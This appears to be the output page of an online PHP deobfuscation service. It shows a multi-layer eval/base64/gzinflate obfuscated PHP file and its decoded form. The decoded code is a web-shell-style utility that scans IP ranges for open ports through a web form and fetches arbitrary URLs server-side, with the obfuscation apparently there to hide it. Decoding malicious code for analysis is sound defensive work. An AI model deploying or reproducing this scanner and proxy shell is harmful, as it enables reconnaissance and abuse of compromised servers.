Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHkqxVEvyatZ29oYXtCa215rKGKrTWfP..

Decoded Output download

<?php
set_time_limit(0); //
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url']) ? $_REQUEST['url'] : null;
function check_port($ip, $port, $timeout = 0.1) {
    $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
    if ($conn) {
        fclose($conn);
        return true;
    }
}
function scanip($ip, $timeout, $portarr) {
    foreach ($portarr as $port) {
        if (check_port($ip, $port, $timeout = 0.1) == True) {
            echo 'Port: ' . $port . ' is open<br/>';
            @ob_flush();
            @flush();
        }
    }
}
echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';
if (isset($_POST['startip']) && isset($_POST['endip']) && isset($_POST['port']) && isset($_POST['timeout'])) {
    $startip = $_POST['startip'];
    $endip = $_POST['endip'];
    $timeout = $_POST['timeout'];
    $port = $_POST['port'];
    $portarr = explode(',', $port);
    $siparr = explode('.', $startip);
    $eiparr = explode('.', $endip);
    $ciparr = $siparr;
    if (count($ciparr) != 4 || $siparr[0] != $eiparr[0] || $siparr[1] != $eiparr[1]) {
        exit('IP error: Wrong IP address or Trying to scan class A address');
    }
    if ($startip == $endip) {
        echo 'Scanning IP ' . $startip . '<br/>';
        @ob_flush();
        @flush();
        scanip($startip, $timeout, $portarr);
        @ob_flush();
        @flush();
        exit();
    }
    if ($eiparr[3] != 255) {
        $eiparr[3]+= 1;
    }
    while ($ciparr != $eiparr) {
        $ip = $ciparr[0] . '.' . $ciparr[1] . '.' . $ciparr[2] . '.' . $ciparr[3];
        echo '<br/>Scanning IP ' . $ip . '<br/>';
        @ob_flush();
        @flush();
        scanip($ip, $timeout, $portarr);
        $ciparr[3]+= 1;
        if ($ciparr[3] > 255) {
            $ciparr[2]+= 1;
            $ciparr[3] = 0;
        }
        if ($ciparr[2] > 255) {
            $ciparr[1]+= 1;
            $ciparr[2] = 0;
        }
    }
}
function getHtmlContext($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);
    curl_setopt($ch, CURLOPT_NOBODY, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 120);
    $result = curl_exec($ch);
    global $header;
    if ($result) {
        $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $header = explode("
", substr($result, 0, $headerSize));
        $body = substr($result, $headerSize);
    }
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
        return $body;
    }
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
        $location = getHeader("Location");
        if (strpos(getHeader("Location"), 'http://') == false) {
            $location = getHost($url) . $location;
        }
        return getHtmlContext($location);
    }
    return NULL;
}
function getHost($url) {
    preg_match("/^(http:\/\/)?([^\/]+)/i", $url, $matches);
    return $matches[0];
}
function getCss($host, $html) {
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i", $html, $matches);
    foreach ($matches[1] as $v) {
        $cssurl = $v;
        if (strpos($v, 'http://') == false) {
            $cssurl = $host . "/" . $v;
        }
        $csshtml = "<style>" . file_get_contents($cssurl) . "</style>";
        $html.= $csshtml;
    }
    return $html;
}
if ($url != null) {
    $host = getHost($url);
    echo getCss($host, getHtmlContext($url));
}
?>

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHkqxVEvyatZ29oYXtCa215rKGKrTWfP3Cm3artqbIeYiM9GP3yKUe7r+2/lXWeyiXv8bht2DI/+ZyV+flr291quL+58u/FXqBraqBHJv9F+S0B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LXUd2hMVklKwTvfyiM0GQtSCT5tKi6lB25nOykKDo901EsNfXx5h53HvtlGZqUSY4qbt+aVUXRPHyxEtsHR7luXhBdGC2evJXrb/n1jZaR0fN24SHOqxTjIAiDU4c02obWOfGjoH4egZPSlPfaVP92tYqYEqzGLqJ4RhgN6wwhGX/0fU3elO5276/MZjaV4P4PAx90b768iJ9ZCDuZvtbyoZOy9OOfITvIhJouVXWf3fRxC6pvWBUjQgRaDkX2bcq2i6rQT3uc+TXsCIg6J7EiIn1nfjkMmdNFk6PeG8LZcOx5/U8vDjsepLKwIsbcMlRdsK/VzqrKceTIa35EDSsfdIwHcIxjV6tahoyDEMZwEmlvupzKarY1PcJB9wCDfKPZ8brCpXFAVskA3yWu4ZOQX8InDw+7dVPhHUBiQVRagEgCQ2ry+qW7/fPtea+OUiSOn52OVNTSWAqgUePeyPN2cyRJnBAmnjE+7wXHtRz4J7ptjZBvyPu3juKOTZOWvQ7Mf6IduakWVruH2KCEy2yEqGBa/URllE5mrYFAv711gDB+KP95RYHwe8QItExj/v8jyUvrBOGaAmFVuFfHgDba/o8iU6CV0AkNbAiwv3Tk2ez93xs5Hcz5VoyqV7CszLV5OV6g5mhWWdgCL9lxPivK10/dN2GfMrezreH1jbBJtIHfxuubYfGTZqfMfx8dbNqMYlfEDANDpAcWv5tsEqEeM8t/plef16Eidd//+f9+e//AQ==')))));
?>

Function Calls

rawurldecode 1
base64_decode 18
strrev 3
gzuncompress 4
gzinflate 11
str_rot13 11

Variables

None

Stats

MD5 156e5b18bd72ceaead87627ffe372084
Eval Count 16
Decode Time 203 ms